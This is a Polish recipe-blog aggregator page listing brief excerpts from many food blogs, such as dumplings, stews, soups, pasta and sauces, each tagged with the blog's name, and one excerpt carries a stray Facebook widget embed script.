KNEDLE SEROWE Z TRUSKAWKAMI 148

małe placuszki,środek wypełnić truskawką i zlepić dokładnie brzegi,formując kulki.Knedle wrzucać na wrzącą osoloną wodę.Gdy się zagotują,gotować jeszcze ok 3-4 min. Gotowe knedle polać przygotowanym sosem z truskawek i jogurtu. Przepyszne

Niespełnione zdolności kulinarne
KALAFIOR SMAŻONY W CIEŚCIE 208

smażyć na rozgrzanym tłuszczu na złoty kolor. Kalafiora w cieście można podawać na ciepło z zestawem surówek jako samodzielne danie obiadowe,jako przekąskę na ciepło lub zimno z sosem np.czosnkowym

Niespełnione zdolności kulinarne
MARCHEWKA DUSZONA 157

jest bardzo zdrowym warzywem o czym chyba nie muszę pisać.Poza właściwościami zdrowotnymi jest doskonałym dodatkiem do wielu potraw,gdyż wspaniale urozmaica ich walory smakowe.Przykładem jest karkówka w sosie pomidorowym,która jest dosyć pikantna więc marchewka równoważy te smaki http://jaworskaanna7.blogspot.com/2015/09/karkowka-w-sosie-pomidorowym.html Nie mówiąc już o tym jak wspaniale wygląda na talerzu. Składniki:   marchewka masło sól,cukier mąka

Niespełnione zdolności kulinarne
nalewka z żurawiny przepis Wuja 185

zbierałem jagód żurawiny, nie widząc w nich szczególnego zastosowania w mojej kuchni. To prawda że żurawina, jest świetnym dodatkiem do pieczywa, czy tez można z niej zrobić wspaniały sos do mięs.  Ale takie argumenty, to zbyt mało, bym z entuzjazmem zawlókł się na torfowiska i zbierał te drobne owoce.  Od pewnego jednak czasu, mój stosunek do żurawiny, zmienił

Miód i pieprz
Niespodzianka od WSP Społem Kielce 140

więcej ,  majonez kielecki  oraz  https://www.facebook.com/majonezkielecki?fref=ts . Jakie nowe produkty wprowadza firma, nie wiem ??? ale mam nadzieję że wkrótce  wszyscy się dowiemy, ja stawiam na sosy warzywne. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook

Kuchnia Danusi
Podpłomyki, tzatziki i faszerowane kapelusze pieczarek czyli przekąski dla każdego 188

sprawdzone i szybkie przekąski lub startery do posiłków, podam Wam przepisy na 3 z moich ulubionych. Dodam tylko, że niekoniecznie tylko tzatziki do podpłomyków, ale każda także salsa, sos czy też chutney będzie świetnym dodatkiem do tzw. macy. Same tzatziki z kolei nie tylko do podpłomyków, ale również do mięs, frytek, kiedyś nawet zostałem poczęstowany tzatzikami zaserwowanymi jako dodatek

Kuba Gotuje
Kokardki z dynią, cukinią i innymi dodatkami 189

jalapeno lampka cydru ok. 50 g gorgonzoli olej do smażenia sól pieprz ziołowy grana padano Nastawić wodę na makaron. Posolić i ugotować al dente. Równolegle z gotowaniem makaronu przygotować sos na patelni. Cukinie pokroić na talarki. Dynię bez skóry pokroić na cienkie plastry. Rozdrobnić czosnek, kabanosy i jalapeno. Szalotkę pokroić w kostkę. Oliwki pokroić na połówki. Rozgrzać olej. Wrzucić

Weekendy w domu i ogrodzie
"Indyjski marchwiowo-dyniowy słoik zdrowia"- zdrowy lunch do pracy 236

niezbędnej energii na resztę dnia, węglowodany będą uwalniały się z niego znaczniej wolniej niż z tradycyjnego białego makaronu, co spowoduje, że siły wystarczy Wam do końca dnia pracy; - indyjski sos marchwiowo- dyniowy; bogaty w takie składniki jak imbir- poprawiający koncentrację, polepsza krążenie krwi , cynamon - wzmacniający odporność i ułatwiający trawienie , marchew bogata w witaminę A, ma wiele zdrowotnych właściwości tj. reguluje

SMYKWKUCHNI
Risotto grzybowe. 171

podlać wszystko łyżką oleju. I przykryć na dosłownie 3-4 min. Gotowe do jedzenia. Można to podawać jako samodzielne danie, bądź jako dodatek do dań, grzybowe risotto polecam do sosów, warzyw na parze i sałatek z nowalijek.  Ja zjadłem ze smakiem, Wam również życzę smacznego! Pozdrowienia dla maturzystów, powodzenia jutro na matematyce

Kuba Gotuje
Pierś z kaczki w rozmarynie i czosnku z młodymi ziemniaczkami, zapiekanymi w bazylii. 167

całym domu! Po około 30 minutach do naszej kaczki wciskamy, wgniatamy, wsypujemy co byśmy nie robili ma się do niej dostać pół granatu.  Zwiększamy gaz i redukujemy ten sos, który powoli powstaje na patelni. To też najwyższa pora zmniejszyć temperaturę w piekarniku na 75 stopni. Teraz możecie go nawet wyłączyć, chodzi nam tylko o to żeby ziemniaki nie wystygły

Kuba Gotuje
Lecho a może Leczo 171

tego nie nazwał, wszyscy wiemy o co chodzi, warzywny gulasz z mięsem. Co prawda odnośnie lecza, jest jedna niepisana zasada taka sama jak w sprawie rosołu, bigosu czy innych sosów. W każdym domu jest inny przepis, można zapytać 100 osób o przepis na jedno z tych dań, każdy zrobi je inaczej, w większym lub mniejszym stopniu ale inaczej. Tak więc

Kuba Gotuje
Schab ze śliwką i purée z selera 169

liście laurowe. Tak przygotowany schab wstawiamy do zimnego piekarnika bez przykrycia na 30 min. i 150 stopni z termoobiegiem, po tym czasie obracamy mięso do góry nogami, polewamy powstającym sosem i pieczemy kolejne 30 min. Po upływie tego czasu przykrywamy nasze mięso folią aluminiową i zostawiamy w piecu na co najmniej 1 godzinę w temperaturze 120 stopni. Ten czas zależy

Kuba Gotuje
Ryż z sosem truskawkowym 156

wysypać na talerze. Truskawki oczyścić z szypułek, opłukać, dodać do blendera, wsypać cukier i cukier waniliowy i zmiksować na mus, dodać śmietanę i razem zmiksować przez chwilkę, Powstałym sos polać po ryżu, udekorać truskawkami i miętą. Od razu podawać

Camilla w kuchni
Domowa vegeta 1325

Vegeta - szybki warzywny bulion w proszku jest nieodzowny, bo bez bulionu nie ma kuchni. Używamy go prawie codziennie, to podstawa zup, sosów, dodatek do dań duszonych. Nie zawsze mamy czas, by ugotować esencjonalny bulion, dlatego ten w proszku jest niezastąpiony. Samodzielnie przygotowany w domu, to przede wszystkim zero chemii, samo zdrowie. Buliony sklepowe, nawet bio zawierają i glutaminian sodu

Gotuj zdrowo!Guten Appetit!
Ser Halloumi z cudownym owocowym sosem. 207

buduje nowe smaki. Czy Wy też lubicie takie mieszanki ? Zobaczcie jak pięknie wygląda i zachęcamy Was do wypróbowania tego dania, bo jest tego warte :) Ser halloumi z wspaniałym sosem z papai i mango, a wszystko podane w placku tortilla. Składniki : 2 serki halloumi 1/2 mango 1/2 papai pęczek świeżej kolendry 1 limonka 1/2 czerwonej cebuli 1 papryczka jalapeno lub konserwowa

vegetanie
Zupa pomidorowa ze świeżych, letnich pomidorów 171

korzeń pietruszki kilka gałązek natki pietruszki gałązka lubczyku Wykonanie: Pomidory myjemy, sparzamy, obieramy ze skóry, kroimy na ćwiartki, wkładamy do garnka i gotujemy do momentu rozpadnięcia się pomidorów. Powstały sos pomidorowy przecieramy przez sitko. Mięso oczyszczamy, wkładamy do garnka, zalewamy wodą. Gdy woda zacznie się gotować, dodajemy domową Vegetę, pieprz, ziele angielskie, liść laurowy, sól i całość gotujemy na małym

Smak mojego domu
Krój Gotuj, WOW - ale książka! 198

przepisu, ale zaczerpnęłam pomysł, bo ten egzemplarz to kopalnia inspiracji. To właśnie z ta książka oświeciła mnie, że Pizza Margherita to nie taka jaką spotykamy w naszych pizzeriach (sos pomidorowy i ser) tylko pokrojone w kostkę pomidory, oliwa i mozzarella! Nie macie pojęcia jakie to jest pyszne i ta oliwa! Proste, a takie pyszne! Zaskoczeniem było również to, że mój

Blondynka Gotuje
Zupa krem z cukinii i papryki z dodatkiem wina porto i orzechów włoskich 151

więc... Do dzieła! Składniki na 2 porcje: 1 cukinia  1 papryka żółta 1/2 cebuli 2 ząbki czosnku 1/2 szklanki wina porto 1/2 szklanki bulionu/ wody 1 łyżeczka sosu z papryczek piri piri sól pieprz bazylia świeża mała garstka uprażonych orzechów włoskich Przygotowanie: Do małego garnka (rozgrzanego) wlewamy 2 łyżki oliwy. Dodajemy pokrojoną cebulę (może być w kostkę/ pióra

Gotowanie, czyli hobby dla każdego
Salsa pomidorowa z krewetkami smażonymi na maśle z dodatkiem wina na chrupiącej grzance 169

Witamy! Jak Moni uwielbia krewetki... <3 Mamy nadzieję, że wy też. Dlatego zrobiłyśmy lekką przystawkę z krewetkami smażonymi na maśle z sosem winnym, kolendrą i do tego salsa pomidorowa. Zdrowe i pyszne. Nie ma co czekać, tylko... Do dzieła! Składniki: (na 1 porcje) 2 kromki chleba żytniego 6 krewetek 1 ząbek czosnku pół cebuli pokrojonej drobno w kostkę

Gotowanie, czyli hobby dla każdego
Knedle ze śliwką 214

Ciasto dokładnie zlepić tak aby całe oblepiło śliwkę i uformować kulkę. Gotowe knedle wrzucić na osolony wrzątek i gotować ok 5 minut od wypłynięcia. Ugotowane knedle polać przygotowanym wcześniej sosem jogurtowo-waniliowym i od razu podawać

Monia miesza i gotuje
Kaczka – porady 304

jeśli używamy ją do innych dań pamiętajmy, aby niezależnie od sposobu obróbki dać możliwość wytopienia ewentualnego nadmiaru tłuszczu. Nie będzie bowiem dobrze, jeśli będzie go dużo np. w sosie, który zamierzamy podać razem z mięsem. W praktyce kaczkę typu pekińskiego dobrze jest upiec, gdyż tłuszcz swobodnie się wytopi, a zarazem ochroni znajdujące się pod nim mięso przed wysuszeniem. Jeśli przygotowujemy

Kulinarna Pokusa
Gulasz z łopatki wieprzowej z pieczarkami 182

czasu do czasu mieszając. 4. Mięso wyciągamy z garnka i dzielimy na mniejsze kawałki, wrzucamy z powrotem, dodajemy suszoną natkę pietruszki, zwiększamy ogień i odparowujemy nadmiar płynu, aż sos stanie się gęsty. Na koniec doprawiamy solą i pieprzem. Podajemy z ziemniaczanymi kluskami lub kaszą gryczaną i ogórkiem kiszonym lub zasmażanymi buraczkami. Smacznego

My Culinary Art
32 rozgrzewające dania na jesień 1795

Nadeszła jesień, a wraz z nią chłodniejsze noce i poranki, krótsze dni. To pora roku w której króluje dynia, moja ulubiona to hokkaido, z której można przygotować rozgrzewające zapiekanki, sosy do makaronów, zdrowe frytki z piekarnika czy kremowe zupy z rozgrzewającymi przyprawami jak imbir, chili czy kardamon i cynamon.  Jesień w kuchni kojarzy mi się z gorącymi zapiekankami, gęstymi

Moja smaczna kuchnia
Musztarda miodowa a'la francuska 148

Musztarda, czyli sos, którego głównym składnikiem są ziarna gorczycy (białej czarnej lub sarepskiej). Powstała jakieś 2000 lat temu w Rzymie (chociaż Rosjanie twierdzą, że pierwszą recepturę opracował rosyjski naukowiec Musztardow) i od samego początku uważano, że posiada ona wartości lecznicze. Ponoć łagodzi bóle reumatyczne, pobudza trawienie tłuszczu, obniża ciśnienie krwi i działa antybakteryjnie. Poprzez zmianę proporcji poszczególnych składników (z których

Marder&Marder Manufacture
Pierogi ruskie z... 172

mielone. I zrobiłam pierogi,  Z TEGO PRZEPISU Miałam i ruskie i mięso! Pokroiłam moje kotlety w paski, ułożyłam obok odsmażonych ruskich i czegoś mi brakowało. Tym czymś był sos idealny. Tak aby smakował i z mięsem i z ruskimi! Znalazłam taki smak! To dressing Tysiąca Wysp  FIRMY ROLESKI Dressing Tysiąca Wysp to wspaniała kompozycja czerwonej papryki, przypraw oraz

Z Kuchni Do Kuchni
Bekon burger truflowy z jajkiem przepiórczym 198

obciążą domowego budżetu! O czym mogliśmy przekonać się podczas warsztatów przekonać się, przygotowując następne dania, do wykonania których, użyliśmy różnych elementów wołowiny. - stek z antrykotu, puree ziemniaczane, portobello, szpinak, sos holenderski z miso - rostbef z sokiem jabłkowym, chlebem z ogniska, sałatką z musztardowca - bulion estragonowo-wołowy z oliwą ziołową - tacos z rwaną wołowiną, salsa pomidorową i guacamole

królestwo garów
Kurczak z ananasem 142

opłukać, pokroić i zrumienić na oliwie posypując mąką ziemniaczaną. Następnie wlać sok z puszki razem z ananasami i zagotować, w razie potrzeby delikatnie posolić. wyłożyć mięso na półmisek, polać sosem, obłożyć plastrami ananasa i podawać np. z ryżem

Tradycyjna Kuchnia
Pomidorowy makaron z bakłażanem i ciecierzycą 158

pieprzem. Podgotuj całość jeszcze 5 minut.  W międzyczasie w osolonej wodzie gotuj makaron przez 8-10 minut, aby był al dente. Odcedź i połącz go z przygotowanym sosem. Przełóż na talerze posyp posiekaną natką i podawaj. Makaron smakuje dobrze zarówno na ciepło, jak i na zimno. 4 porcje

Roślinna - blog wegański
Lekka sałatka 170

księżyce, dodać do mieszanki sałat. Paprykę i ser pleśniowy pokroić w kostkę. Wszystkie produkty dodać do sałaty. Natkę pietruszki, olej rzepakowy, musztardę, ocet i miód zblendować- z powstałym sosem podawać sałatkę

Garnkowe fanaberie
Tosty z serem i jajkiem 135

minuty, żeby masa się ścięła i bez problemów odchodziła od patelni, po czym przewrócić na kilka sekund aby podsmażyć chleb. Można podawać z ketchupem lub sosem czosnkowym. Smacznego

Na Ciasteczkowych Papierach
Gulasz sojowy ze śliwką i wędzoną papryką 164

paski i wrzucamy do garnka. Ponownie wszystko mieszamy i dusimy przez kolejne 2-3 minuty.  5. Pomidory blendujemy i przyprawiamy wędzoną papryką, ziołami, gałką, pieprzem oraz solą. Sos wlewamy do garnka, mieszamy i gotujemy na niewielkim ogniu pod przykryciem przez 5-8 minut, mieszając od czasu do czasu.  6. Ugotowany gulasz można podawać z ziemniakami, ryżem lub makaronem

Bananowe Pole
Pasta alla Norma 159

patelni zagotować salsę pomidorową,wcześniej przygotowaną ze świeżych pomidorów. Dodać bakłażany. Ja do całości dodałam sera pecorino. Ugotuj makaron al dente i dołóż bezpośrednio na patelnię. Wymieszaj i wmieszaj sos w makaron. Rozłóż na talerze, posyp pecorino i ...jeśli lubicie to udekoruj listkami świeżej bazylii... Buon appetito

Z Kuchni Do Kuchni
Papryka faszerowana jak zrobić ? 169

pomocą łyżki.  Ułożyłam papryki na sitku do gotowania na parze i w ten sposób ugotowałam papryki aż były miękkie. Gotowały się około 30 minut.   Całość podałam z sosem czosnkowym .          Papryka faszerowana jak zrobić

Kuchnia na wzgórzu
Schab zapiekany z warzywami w sosie śmietanowo-musztardowym 354

pieczarki z cebulą. Mięso przekładamy do naczynia żaroodpornego, wokół niego układamy ziemniaki, a na wierzch wykładamy cebulę z pieczarkami. Śmietany, jajko, łyżeczkę musztardy i przyprawy mieszamy ze sobą i sosem polewamy mięso. Schab zapiekamy w temperaturze 180 stopni przez 60 minut (najpierw pod przykryciem, na jakieś 20 minut przed końcem pieczenia, zdejmujemy pokrywkę

e-PrzepisyKulinarne
Ryżowe placuszki 227

wymieszać. doprawić solą i pieprzem ,wymieszać. - na rozgrzana patelnię kłaść porcje farszu( czubata łyżka) rozgnieść na płaski placek. - smażyć po dwie minuty z każdej strony. Placuszki świetnie smakują z sosem gulaszowym na bazie karkówki i papryki. (na zdjęciu

Eli Gotowanie
Rzecz o gubieniu kilogramów :) 219

jako mój trzeci posiłek w ciągu dnia. Często jest to sałatka, odgrzana zupa (w pracy mamy mikrofalówkę), a czasami resztka obiadu z poprzedniego dnia (np. mięsko, zapiekanka, makaron z sosem, curry, kasza z warzywami itp.). OBIAD (ok. godz. 17.00) Dzięki temu, że jem konkretny posiłek w pracy, do domu wracam syta i nie zaczynam od podjadania. Zaczynam po prostu przygotowywać

bistro mama
Skrzydełka z multicookera 255

nimi zrobić..ale tak oto powstało pyszne danie...skrzydełka lekko pikantne z nutką słodyczy miodu...a sosik jaki powstał..mniam..pycha... 1 kg  skrzydełek 2 łyżki sosu barbecue 1 łyżka miodu przyprawa do kurczaka 2-3 marchewki 1 cebula sól i pieprz listek, ziele 2 łyżki oleju Skrzydełka z kurczaka pokroić na 2 części. Umyć, osuszyć.Do misy mulicookera

Moje domowe kucharzenie
Domowy keczup pomidorowy 191

przerobienie ich na przecier pomidorowy. Ale gdy już dotarłam do domu mój pierwszy zamysł padł, a w głowie zaczął powstawać pomysł na domowy keczup. I tak jednego dnia powstał sos paprykowy i domowy keczup pomidorowy. Warto mieć kilka słoiczków własnego domowego keczupu, zrobionego z samych pomidorów z dodatkiem ziół i przypraw. Składniki: 4 kg pomidorów 2 duże cebule 4 ząbki

na moim stole...
Gazpacho z melonem, salsą krewetową i relishem chili 148

rondelka wlej ocet ryżowy i wsyp cukier. Doprowadź do wrzenia, a następnie wrzuć aromatyczną pastę, pomidory oraz pokrojone papryczki. Gotuj wszystko na średnim ogniu przez 30-40 minut, aż sos się zredukuje. Odstaw do wystudzenia. Podanie Schłodzone gazpacho rozlej do głębokich talerzy. Na środek wyłóż krewetkową salsę oraz relish chili (ilość według uznania), następnie posyp całość płatkami migdałów. Do chłodnika

Food Square
Carpaccio z buraka chioggia 180

czerwonych. Na talerzu wyglądają jak kolorowe lizaki. burak chioggia łyżeczka miodu łyżka octu jabłkowego olej rzepakowy sól i pieprz rukiew wodna Buraka poszatkowałam na mandolinie. Z pozostałych składników zrobiłam sos. Chwilę się przegryzały i podałam jako przystawkę

AZgotuj!
Sałatka z toffu na wynos 203

ewentualnie cebula ziarna słonecznikowe, siemię lniane Przygotowanie : Umyte pomidory i obrane ogórki pokroiłam, cebulę podobnie Sałaty lekko rozdrobniłam, a ser pokroiłam w małą kostkę Po wymieszaniu składników, całość polałam sosem z musztardy, miodu i soku z cytryny Sałatka posypana ziarnami zyskała jeszcze bardziej na smaku.       Dodatek kaszy uczynił sałatkę pełnowartościowym daniem obiadowym

Proste Potrawy
Małdrzyki czy serniczki z patelni? A może po prostu placki z twarogu. 210

możesz obtoczyć w mące. Smaż na małym ogniu,przewracając delikatnie w trakcie smażenia. 6. Odsącz z nadmiaru tłuszczu i... Podawaj z: ulubionymi owocami,  konfiturami, kremami Polane: jogurtami owocowymi sosami miodem roztopioną czekoladą -tak naprawdę z czym dusza zapragnie Smacznego

Fiolka w kuchni
Obiad po polsku. Mięsny vs Wegański schabowy. 205

dystansu. a) wege Składniki: boczniaki (tacka na 2 obiady) jajko sól pieprz olej Wykonanie: 1. Przypraw boczniaki. Odstaw na chwilę. (Możesz poszaleć i dodać oregano czy ziół dalmatyńskich, trochę sosu bbq) 2. Przygotuj panierkę -jajko rozbełtaj w głębokim talerzu -na płaski talerz wysyp mąkę tartą 3.Opanieruj grzyby 4. Smaż na mocno rozgrzanej patelni i odrobinie oleju. b)mięsny Składniki: schab

Fiolka w kuchni
Kotlety z kaszy i marchwi Pingwina Larsa. 160

serii: Lars poleca. *przepis z książki Jadłonomii Marty Dymek* Składniki 3/4 szklanki kaszy jaglanej 2-3 marchewki 2 łyżki sosu sojowego mała drobno posiekana cebula 1/2szklanki sezam 1/2szklanki słonecznik natka pietruszki 2-3łyżki bułki tartej mały chlust oleju rzepakowego/oliwy Przyprawy: imbir chili pieprz kmin rzymski Wykonanie: 1. Kaszę przepłucz albo przypraż w garnku(czyli wsyp do rozgrzanego garnka

Fiolka w kuchni
Śniadaniowe mohito - krem jaglany z bananem, jabłkiem i awokado. 211

mlekiem d) gotuj pod przykryciem do miękkości 2. Do kaszy dodaj obrane owoce, jogurt i miód. 3. Zblenderuj. Dosłodź. 4. Podawaj z ulubionymi dodatkami np. ze śliwkami z sosem winnym, orzechami,słonecznikiem... wspólnie jedzone z Siaśką kilka lat temu

Fiolka w kuchni
Gołąbki bez zawijania 189

rozgrzanym oleju. Do garnka o dłużej średnicy wlewamy ok. 2 szkl. wody i dodajemy do niej koncentrat pomidorowy, mieszamy aż się rozpuści, przyprawiamy solą i pieprzem i do wrzącego sosu dodajemy usmażone gołąbki. Dusimy je ok. 25 min na wolnym ogniu do miękkości. Na ok. 10 min przed końcem dodajemy posiekaną natkę pietruszki

psgotujemy
kaczka duszona w śliwkach 219

dusimy na małym ogniu (około 60-80 min). W między czasie gotujemy marchewki do miękkości i blendujemy z masłem na  na puree , doprawiając solą i cynamonem. Kaczkę porcjujemy , sos blendujemy i doprawiamy  solą,pieprzem, kwaskiem  oraz cukrem do smaku,wykładamy na talerz . Kapustę parzymy w osolonej wodzie i również dekorujemy talerz razem z groszkiem i liśćmi groszku

na gazie
Buon appetito – kuchnia włoska z historią w tle 188

pomidory. Podajemy zanim wystygną. PRIMO PIATTO Czy informacja, że Włosi na pierwsze danie jedzą makaron będzie dla Was zaskakująca? Giovanni, jak rasowy Rzymianin, zaserwowałby mi pewnie spaghetti z mięsnym sosem, jednak pomna tego, że to NIE BĘDZIE główna część posiłku, zamawiam: Pappardelle alla Norma Potrawę o Sycylijskich korzeniach – na szczęście Giovanni zna przepis, może ma tam rodzinę? ;) 1 bakłażana

Patchwork
Pasztet chlebowo-mięsny z pesto 205

formie muffinów. Takie porcje łatwo serwować domownikom, a każdy sam decyduje, czy chce je rozsmarować na chlebie, czy może zjeść widelcem. Tak naprawdę ten specyficzny pasztet podany z sosem doskonale sprawdziłby się również jako danie obiadowe podane z ziemniaczkami i surówką. Mój pasztet ma gładką strukturę podwójnie zmielonego mięsa, ale celowo dodatki do niego pozostawiłam nie zmielone, by były mocniej

Trzeci talerz
Kurczę pieczone z warzywami 184

dość obficie winegretem. Posypałam tartym parmezanem. Zamknęłam pokrywę i ...do piekarnika! Na około godzinę. Po upływie tego czasu wyłożyłam na talerze. Mięso było mięciutkie, soczyste i aromatyczne. Całość ubogaciłam sosem  kebab-gyros łagodny Folwark Dzieci kochają go  do wszystkiego! Smacznego! Obiad gotowy

Z Kuchni Do Kuchni
Grillowane jabłka z cynamonem 171

dobrze wyczyszczonym ruszcie i grillujemy około 6-8 minut (raz obracamy). Po grillowaniu jabłka wykładamy na dużym naczyniu i posypujemy mieszaniną cukru i cynamonu. Polecamy podawać z lodami, sosem karmelowym i posiekanymi orzechami. The post Grillowane jabłka z cynamonem appeared first on naRuszcie.pl

naRuszcie
Perliczka marynowana 199

duża czerwona cebula, posiekana 1 duży ząbek czosnku ok 1- 2 cm kawałek świeżego imbiru, posiekany 100 ml oliwy z oliwek 100 ml soku z cytryny 1/2 łyżeczki  sosu rybnego 1  łyżeczka miodu 1/2 łyżeczki mielonego kminu 1/2 łyżeczki papryki w proszku 1/2 łyżeczki kurkumy w proszku 1/2 łyżeczki chili w proszku 1 garść liści pietruszki posiekane

Stare Gary
Spód na pizzę z mąką orkiszową 193

mąką. Ewentualnie ciasto podzielić na 6 części tworząc małe kulki. Następnie ciasto rozwałkować i przełożyć na formę do pieczenia (najlepiej wyłożoną papierem do pieczenia). Spody do pizzy posmarować sosem, ułożyć ulubione składniki i piec 15-17 minut w 210°C   (długość pieczenia będzie zależna od grubości ciasta).  Pomysł na przepis ze strony kotlet.tv

Ugotować
Knedle ze śliwkami 202

szklance tak, by cukier się rozpuścił, a śmietana była puszysta. Odcedzone knedle podawać ze śmietaną. Smakowało do ostatniego kęsa ;) Szkoda, że ziemniaków tak mało zostało... ------------ Podobne: Kopytka dyniowe z sosem borowikowym

Weekendy w domu i ogrodzie
Cukinia faszerowana tuńczykiem i soczewicą 193

przepis na proste danie, czyli cukinie faszerowane tuńczykiem. A poza rybką znajdziecie w farszu także soczewicę czerwoną i kukurydzę. Mniam ! Składniki: 5 średniej wielkości cukini 300 g tuńczyka w sosie własnym 150 g czerwonej soczewicy 1 cebula 150 g kukurydzy z puszki 200 g passaty pomidorowej 2 łyżeczki koncentratu pomidorowego 1-2 ząbki czosnku przyprawy: pieprz, tymianek, opcjonalnie sól mozarella

kolorowotorcikowo
Golonki indycze duszone z warzywami. 179

miesa. Pieczarki obrac i pokroić w półplasterki i około 20 min przed koncem duszenia dodac do miesa wraz z fasola szparagowa. Kiedy mieso będzie już miękkie wyjac z rondla. Sos doprawić do smaku i zagescic łyzką mąki rozmieszaną z kilkoma łyzkami wody. Doprowadzic do wrzenia i gotowe. Podawac z ziemniakami lub z pieczywem.   Smacznego

Radość kipiąca uśmiechem.
Rosyjskie naleśniki 166

ranek smażę rosyjskie naleśniki (bliny na kefirze). Wyjątkowo nieegoistycznie, bo dla wszystkich domowników.           rosyjskie naleśniki (bliny na kefirze) podane z sosem malinowym i jogurtem Przepis: zaczerpnięty stąd  / 3-4 porcje - dużo naleśników / składniki: szklanka = 250 ml szklanka mąki pszennej 1,5 szklanki kefiru 0,5 szklanki wody jajko łyżka oleju

tost z dżemem
kurczak w sosie curry 187

składniki: 300 g filetów z kurczaka 150 g cebuli 20 g czosnku szczypta ostrej papryki 3 łyżki śmietany 250 ml bulionu 2 łyżki curry 125 ml

Domowy Smak Jedzenia
Placki z cukinii 186

patelni rozgrzewamy olej. Za pomocą łyżki nakładamy ciasto i smażymy z obu stron na złoty kolor. Po usmażeniu osączamy z nadmiaru tłuszczu na papierowym ręczniku.  Podajemy z ulubionym sosem lub śmietaną

magiczna kuchnia Kasi
KURCZAK MEGA CHRUPIĄCY I SOCZYSTY – na ostro! 282

czasu do czasu „wrzucenie na ruszt” takiego kurczaka nie zaszkodzi. Idealnym pomysłem do tego jest świeża surówka z białej kapusty – coś ala colesław i ulubiony sos, np. czosnkowy. Koniecznie wypróbujcie, a później dajcie mi znać jak smakowało! Polecam! SKŁADNIKI: ( 2 porcje ) * filet z kurczaka – 200 g * jogurt naturalny – 3 łyżki * czosnek – 2 ząbki * sól

Ostra na Słodko
Chleb owsiany z łuską gryczaną 149

rozwój korzystnej flory bakteryjnej. W związku z tym jest cennym i zdrowym dodatkiem do diety. Płaską łyżeczkę mielonej łuski możemy dodawać do jogurtów, kefirów, do przygotowania musli czy też sosów. Natomiast ja dzisiaj zapraszam Was na pyszny chleb owsiany z dodatkiem łuski gryczanej właśnie. Firma Sante posiada w swojej ofercie ponad 200 innych produktów, między innymi suszone owoce

Kulinarne przygody Gatity
cieniutkie arabskie chlebki pita 249

więc w zasadzie można go dowolnie modyfikować. Ten arabski dodatek do potraw ma bardzo szerokie zastosowanie - od popularnych kebabów, przez saszetki z różnorakim farszem, a na dodatku do ostrych sosów, dipów i sałatek skończywszy. Nie jest skomplikowane i trudne do przygotowania, a co najważniejsze można je mrozić, więc warto jednorazowo przygotować ich więcej na kolejne okazje. Składniki : 3 niepełne szklanki

zobacz ich smak
Sałatka ze szprotkami na krakersach 314

kiszone 4 łyżki majonezu 150 g sera żółtego pęczek szczypiorku sól, pieprz, słodka papryka Przygotowanie Jajka gotujemy na twardo, obieramy i ścieramy na tarce o średnich oczkach. Szprotki z sosem wykładamy do miski, rozdrabniamy widelcem. Ogórki kroimy w kostkę, cebulę drobno siekamy. Jajka, szprotki, cebulę i ogórki łączymy ze sobą, dodajemy łyżkę majonezu i przyprawy. Mieszamy. Ser żółty ścieramy

e-PrzepisyKulinarne
Domowy, lekko pikantny ajvar 225

naprawdę nie ma sztywnego przepisu na ajvar, dlatego śmiało możemy zmieniać proporcje składników i dodatków. Świetnie smakuje wyjadany łyżeczką prosto z miseczki, rozsmarowany na kanapce, czy też jako sos do makaronu, ryżu, kaszy. Spróbujcie! Składniki: - 3 czerwone papryki - 1 ostra papryczka - 1 bakłażan - 3-4 łyżki przecieru pomidorowego - 1 łyżka octu jabłkowego - 2 ząbki czosnku - sól, pieprz   * opcjonalnie: chili

Be Fit Be Strong
Jabłkowa karkówka w Coca-Coli 182

łyżeczki musztardy sarepskiej ·          płaska łyżeczka słodkiej papryki ·          łyżka sosu sojowego ·          2 ząbki czosnku przeciśniętego przez praskę ·          szczypta soli ·          szczypta pieprzu

Pobite gary Barbary
makaron z piersią kurczaka w szpinakowym sosie 198

pierś kurczaka w sosie szpinakowym Gotowy kurczak ze szpinakiem i makaronem składniki dla czterech osób 500 gr piersi z kurczaka 250 gr świeżego lub mrożonego szpinaku. 2 ząbki czosnku 100 ml słodkiej śmietany 400 g makaronu  4 łyżki oliwy 2 łyżki masła sól, pieprz dodatkowo do marynaty 1 łyżka octu balsamicznego 1 łyżki oliwy  sol, pieprz sposób przygotowania

Miód i pieprz
Kremowe risotto dyniowe z kurczakiem 231

smaku chili, imbirem i roztartymi w moździerzu ziarnami kolendry. Risotto ma mieć kremową konsystencję, jeśli jest zbyt gęste dolać więcej bulionu. Kurczak teriyaki: 1 filet z kurczaka 3 łyżki sosu teriyaki 1 łyżka octu winnego białęgo 1 łyżka syropu trzcinowego lub miodu 2 łyżki oleju arachidowego lub innego, np rzepakowego Wykonanie: Mięso kurczaka umyć, osuszyć i podzielić na mniejsze kawałki

kolorowotorcikowo
Jagielnik na piątek. 180

Dyniowy jagielnik; na daktylowym spodzie* z sosem daktylowo-orzechowym, figami i malinami  i znów Weronika zachęca do szybszego spróbowania tego cuda < 3 + owocki z własnego ogródka w ogóle mistrzostwo ^^ Nie wiem czym zasłużyłam na osoby które mnie otaczają. Za to, że mam D. I prawdę powiedziawszy nie mogę sobie wyobrazić siebie teraz..inaczej, co by było gdyby

More food, love and dreams
Bezy z figami 208

Ostudzić. Przed podaniem figi pokroić w ósemki. Miód rozpuścić na patelni, wyłożyć figi. Smażyć krótko, zdjąć patelnię z palnika. Kremówkę ubić, wyłożyć na bezy. Udekorować figami i powstałym miodowym sosem. Smacznego! U nas, niestety, coraz chłodniej... Przy laptopie siadam w ciepłym swetrze, z parującym kubkiem tuż obok. Zastanawiam się już nawet, czy to nie czas, aby przygotować przyprawę do piernika

Pożeraczka, czyli raz adobrze
DŻEM DYNIOWO - JABŁKOWY 135

Kolejne słoiczki powędrowały do mojej spiżarni :) Tym razem również zawierają słodkości, ale w wydaniu bardziej jesiennym. Dżem z dyni z dodatkiem jabłek, będzie idealny do naleśników, ciast i sosów do mięs. Lubicie? Ja bardzo :) SKŁADNIKI: 1 średniej wielkości dynia (około 1,5 kg) 3 jabłka sok i skórka z 1 cytryny 350 g cukru żelującego 2:1 1 łyżeczka mielonego

Kuchnia w opałach
szynka pieczona w miodowej glazurze 185

